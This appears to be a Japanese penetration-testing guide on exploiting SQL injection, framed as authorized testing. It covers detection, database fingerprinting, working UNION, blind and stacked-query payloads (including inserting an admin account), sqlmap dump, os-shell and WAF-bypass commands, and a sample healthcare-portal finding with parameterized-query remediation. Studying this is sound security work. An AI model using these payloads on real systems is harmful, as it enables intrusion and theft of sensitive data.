exploiting-sql-injection-vulnerabilities

SQL インジェクションの脆弱性を悪用する

使用する場面

• 許可を得た侵入テストで、Web アプリケーションの入力パラメーターに SQL インジェクションの脆弱性がないかテストする場合
• すべてのデータベース操作で、パラメーター化クエリと入力のサニタイズが適切に実装されていることを検証する場合
• 機密データを抽出し、確認済みの SQL インジェクションの脆弱性がビジネスに与える影響を実証する場合
• WAF ルールと入力検証コントロールが SQL インジェクションのペイロードを効果的にブロックすることを検証する場合
• エンタープライズアプリケーションのストアドプロシージャ、動的 SQL、ORM の回避シナリオをテストする場合

書面による許可なくデータベースに対して使用しないでください。概念実証に必要な範囲を超えて実際の顧客データを抽出または持ち出す場合や、悪用によってデータの整合性が損なわれる可能性のある本番データベースに対しても使用しないでください。

前提条件

• 対象アプリケーションと許容される悪用レベル（検出のみか、完全な悪用か）を明記した書面による許可
• HTTP リクエストをキャプチャして変更するための、インターセプトプロキシとして設定された Burp Suite Professional
• 自動検出と悪用に使用する、最新バージョンの sqlmap
• 対象のデータベースエンジン（MySQL、PostgreSQL、MSSQL、Oracle）に関する知識、またはそのフィンガープリントを特定できること
• 認証済みコンテキストでのインジェクションをテストするための、さまざまな権限レベルのテストアカウント

ワークフロー

ステップ 1：インジェクションポイントの特定

データベースとやり取りするパラメーターを特定します。

• すべての入力ベクトルを把握する：URL（GET）、リクエスト本文（POST）、HTTP ヘッダー（Cookie、Referer、User-Agent、X-Forwarded-For）、JSON/XML API ペイロードに含まれるすべてのパラメーターを一覧にします。
• エラーベースの検出：各パラメーターにシングルクォート（'）を挿入し、応答を確認します。「You have an error in your SQL syntax」、「unterminated quoted string」、「ORA-01756」などの SQL エラーが発生した場合、そのパラメーターがサニタイズされずにデータベースに到達していることが確認できます。
• ブール値ベースの検出：' AND 1=1--（真の条件）と' AND 1=2--（偽の条件）を挿入します。応答（コンテンツの長さ、返されるデータ、HTTP ステータスなど）が異なる場合、そのパラメーターにはインジェクションが可能です。
• 時間ベースの検出：'; WAITFOR DELAY '0:0:5'--（MSSQL）、' AND SLEEP(5)--（MySQL）、または'; SELECT pg_sleep(5)--（PostgreSQL）を挿入します。応答が 5 秒遅れた場合、インジェクションが確認できます。
• 帯域外検出：応答を直接観測できない状況でインジェクションを確認するため、Burp Collaborator ドメインへの DNS または HTTP リクエストを発生させるペイロードを使用します。
• 二次インジェクション：入力が保存され、その後、別の SQL クエリで使用される場合のインジェクションをテストします（例：登録時に保存されたユーザー名が、プロフィールページのクエリで使用される場合）。

ステップ 2：データベースのフィンガープリント特定

データベースエンジンとバージョンを特定し、適切な悪用手法を選びます。

• エラーベースのフィンガープリント特定：データベースごとに特徴的なエラーメッセージが出力されます。MySQL には「MySQL」、MSSQL には「SQL Server」、PostgreSQL には「PG」が含まれ、Oracle には「ORA-」が含まれます。
• 関数ベースのフィンガープリント特定：データベース固有の関数を挿入します。
  • MySQL：' AND VERSION()-- または ' AND @@version--
  • MSSQL：' AND @@version-- または ' AND DB_NAME()--
  • PostgreSQL：' AND version()--
  • Oracle：' AND banner FROM v$version--
• 文字列連結の違い：MySQL はCONCAT('a','b')または'a' 'b'、MSSQL は'a'+'b'、PostgreSQL は'a'||'b'、Oracle は'a'||'b'を使用します。
• コメント構文：MySQL は#と-- に対応し、MSSQL、PostgreSQL、Oracle は-- を使用します。

Step 3: 手動での悪用手法

確認されたインジェクションポイントを、手法に応じた方法で悪用します。

• UNION ベースの抽出：ORDER BY の数値を増やしながら実行して列数を特定します（' ORDER BY 1--、' ORDER BY 2-- など、エラーが発生するまで続けます）。次に、データを抽出するための UNION SELECT を構築します。

  ' UNION SELECT NULL,username,password,NULL FROM users--
  

• エラーベースの抽出（MySQL）：EXTRACTVALUE または UPDATEXML を使用して、データをエラーメッセージに含めます。

  ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
  

• ブラインド Boolean 抽出：文字値をテストし、1 文字ずつデータを抽出します。

  ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
  

• 時間ベースのブラインド抽出：時間遅延を使用して、同じ方法で 1 文字ずつデータを抽出します。

  ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
  

• スタッククエリ（対応している場合）：追加の SQL 文を実行します。

  '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
  

Step 4: sqlmap による自動化された悪用

確認されたインジェクションポイントを効率的に悪用するには、sqlmap を使用します。

• 基本的な検出：sqlmap -u "https://target.com/page?id=1" --batch --random-agent を実行して、インジェクションを検出し、データベースを特定します。
• データベースの抽出：sqlmap -u "https://target.com/page?id=1" --dbs を実行して、すべてのデータベースを一覧表示します。
• テーブルの抽出：sqlmap -u "https://target.com/page?id=1" -D <database> --tables を実行して、テーブルを一覧表示します。
• データの抽出：sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 を実行して、テーブルの内容を抽出します。
• POST パラメーター：sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username を実行して、POST パラメーターをテストします。
• Cookie インジェクション：sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 を実行して、Cookie パラメーターをテストします（インジェクション可能なパラメーターには * を付けます）。
• OS コマンドの実行（データベースユーザーに十分な権限がある場合）：sqlmap -u "https://target.com/page?id=1" --os-shell を実行して、xp_cmdshell（MSSQL）または INTO OUTFILE（MySQL）経由でコマンドの実行を試みます。
• 改ざんスクリプト：sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between を実行して、WAF フィルターを回避します。

Step 5: 影響の実証と報告

SQL インジェクションの脆弱性による影響をすべて記録します。

• データ抽出の証拠：抽出されたデータベース名、テーブルスキーマ、サンプルレコードが確認できるスクリーンショットまたは sqlmap の出力を取得します（レポートでは実際の PII をマスキングします）。
• 認証の回避：admin' OR 1=1-- を使用してログインを回避し、回避された認証メカニズムを記録します。
• 権限昇格：データベースユーザーが DBA 権限を持つ場合、利用可能な追加機能（ファイルの読み取り／書き込み、コマンド実行）を記録します。
• ラテラルムーブメントの可能性：データベースサーバーが、SQLi を通じて取得した OS レベルのアクセスから到達可能な他の内部システムにネットワークアクセスできるかどうかを記録します。
• 修正方法：脆弱なクエリと、修正済みのパラメーター化されたクエリを示し、コードレベルの具体的な修正方法を提示します。

主要な概念

用語	定義
SQL インジェクション	SQL クエリ内の未検証のユーザー入力を悪用し、データベース操作の改ざん、データの抽出、または管理操作の実行を行うコードインジェクション手法です
UNION ベースの SQLi	元のクエリに UNION SELECT 文を追加し、同じレスポンス内で別のテーブルからデータを抽出するインジェクション手法です
ブラインド SQL インジェクション	アプリケーションがクエリ結果を直接返さない場合に、攻撃者が真偽値への応答や時間遅延を通じてデータを推測するインジェクションです
パラメーター化クエリ	ユーザー入力をクエリ文字列に連結するのではなく、パラメーターとして渡すプリペアド SQL 文です。これによりインジェクションを防ぎます
二次インジェクション	悪意のあるペイロードがアプリケーションに保存され、後に異なるコンテキストまたは SQL クエリで実行される SQL インジェクションです
スタッククエリ	1 つのリクエスト内でセミコロン区切りの複数の SQL 文を実行し、インジェクションを通じて INSERT、UPDATE、DELETE 操作を可能にします
WAF バイパス	エンコード、代替構文、または断片化を利用して、一般的な SQL インジェクションパターンをブロックする Web アプリケーションファイアウォールのルールを回避する手法です

ツールとシステム

• sqlmap：30 種類以上のデータベース管理システムに対応し、6 種類のインジェクション手法をサポートする、自動 SQL インジェクション検出・悪用ツールです
• Burp Suite Professional：あらゆる種類のパラメーターに対して SQL インジェクションペイロードを使用し、リクエストの傍受、変更、再送信を行う HTTP プロキシです
• Havij：sqlmap を使用できない場合に迅速な自動悪用に使用される、GUI ベースの SQL インジェクションツールです
• jSQL Injection：自動インジェクション、データベース抽出、ファイルの読み書きをサポートする GUI を備えた、Java ベースの SQL インジェクションツールです

よくあるシナリオ

シナリオ：医療機関の患者ポータルにおける SQL インジェクション

コンテキスト：ある医療機関の患者ポータルでは、患者が診療記録、予約、請求情報を閲覧できます。アプリケーションは PHP バックエンドと MySQL データベースを使用しています。テスターは有効な患者アカウントを持っています。

アプローチ：

1. 患者ポータルのすべてのパラメーターを調査し、予約詳細ページが /appointment?id=4521 を使用していることを特定します
2. id パラメーターにシングルクォートを挿入し、パラメーターがインジェクション可能であることを確認する MySQL エラーを受け取ります
3. ORDER BY を使用して、クエリが 7 列を返すことを確認します
4. UNION SELECT を構成して information_schema からテーブル名を抽出し、patients、medical_records、billing、admin_users の各テーブルを特定します
5. admin_users テーブルを抽出し、MD5 でハッシュ化されたパスワードを持つ 5 つの管理者アカウントを明らかにします
6. インジェクションポイントを通じて medical_records テーブルにクエリを実行し、すべての患者の診療記録にアクセスできることを実証します
7. PHI（保護対象保健情報）を含む 15,000 件を超える患者記録にアクセス可能であり、HIPAA 違反に該当することを記録します

落とし穴：

• sqlmap をデフォルト設定のまま本番データベースに対して実行し、過剰な負荷やデータ破損を引き起こすこと
• 評価中に実際の患者データを抽出・保存し、記録件数やスキーマによる証明にとどめないこと
• アプリケーションから呼び出されるストアドプロシージャにおける二次インジェクションをテストしないこと
• すべての種類のパラメーター（Cookie、ヘッダー、JSON ボディ）をテストせず、URL パラメーターのみをテストすること

出力形式

## Finding: SQL Injection in Appointment Detail Parameter

**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based

**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.

**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.

**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)

**Remediation**:
1. Replace string concatenation with parameterized queries:
   VULNERABLE:  $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
   SECURE:      $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
                $stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth